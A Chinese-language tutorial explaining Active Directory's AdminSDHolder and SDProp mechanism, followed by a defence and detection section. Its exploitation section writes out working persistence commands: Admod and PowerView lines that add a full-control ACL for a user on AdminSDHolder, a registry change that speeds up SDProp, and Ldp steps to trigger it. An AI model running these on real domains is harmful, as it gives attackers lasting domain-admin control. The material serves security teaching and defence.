AdminSDHolder
字数 1563 2025-08-25 22:59:15
AdminSDHolder 安全机制与利用技术详解
概述
AdminSDHolder 是 Active Directory (AD) 域中一个关键的安全机制,用于保护高权限账户和组的安全设置。本文将全面介绍 AdminSDHolder 的工作原理、利用方法以及防御检测措施。
0x00 域内受保护的用户和组
在 Active Directory 中,一些高权限的用户和组被视为受保护的对象:
- 受保护对象的权限设置和修改由自动过程完成,确保对象移动时权限保持一致
- 不同系统版本的域控制器上受保护的用户和组不同
- 可使用以下命令查询受保护组和用户:
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn
1. AdminSDHolder
AdminSDHolder 对象为域内受保护的用户和组提供权限"模板":
- LDAP 路径:
CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component> - 默认由 Domain Admins 组拥有
- Enterprise Admins (EA) 可以更改任何域的 AdminSDHolder 对象
- Domain Admins 和 Administrators 组也可以进行更改
- Administrators 或 Enterprise Admins 成员可以获取该对象的所有权
2. SDProp
SDProp 是一个关键进程:
- 默认每 60 分钟在包含域的 PDC 模拟器 (PDCE) 的域控制器上运行
- 比较 AdminSDHolder 对象的权限与受保护账户和组的权限
- 如果不匹配,将受保护账户和组的权限重置为与 AdminSDHolder 对象一致
0x01 利用技术
由于 SDProp 会定期同步权限,攻击者可利用此机制持久化控制高权限账户。
1. 添加 ACL
需要具备对 AdminSDHolder 的 WriteDACL 权限。
(1) 使用 Admod 工具
.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=testad,DC=local" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;testad\test1)}"
(2) 使用 PowerView (推荐 Dev 分支)
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName test1 -Verbose -Rights All
2. 执行 SDProp
(1) 修改默认执行时间间隔
通过修改注册表调整执行频率 (60-7200 秒):
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600
恢复默认值:
reg delete hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency
(2) 手动执行 SDProp
使用 Ldp.exe 工具手动触发:
- 启动 Ldp.exe
- 连接 → 连接 → 输入 PDCE 的 FQDN/IP
- 连接 → 绑定 → 输入有权限的凭据
- 浏览 → 修改
根据域控版本不同:
-
Windows Server 2008:
- DN 字段留空
- 编辑条目属性:
FixUpInheritance - 值:
Yes
-
Windows Server 2008 R2/2012:
- DN 字段留空
- 编辑条目属性:
RunProtectAdminGroupsTask - 值:
1
最后点击"运行"执行。
3. 添加特权
SDProp 执行后,受保护账户/组将获得与 AdminSDHolder 相同的 ACL,此时攻击者可以:
- 对特权组/用户拥有完全控制 (FC) 权限
- 添加域管组成员等操作
0x02 防御与检测
防御措施
- 严格控制对 AdminSDHolder 对象的修改权限
- 定期审计 AdminSDHolder 的 ACL
- 监控注册表中 AdminSDProtectFrequency 的修改
检测方法
- 监控 5136 日志(记录目录服务对象的修改)
- 重点关注对
CN=AdminSDHolder,CN=System的 ACL 修改行为 - 建立对特权组权限变更的告警机制
总结
AdminSDHolder 机制是 AD 安全的重要组成部分,同时也是攻击者常用的持久化手段。安全团队应当充分了解其工作原理,建立有效的监控和防御措施,防止攻击者利用此机制获取长期的高权限访问。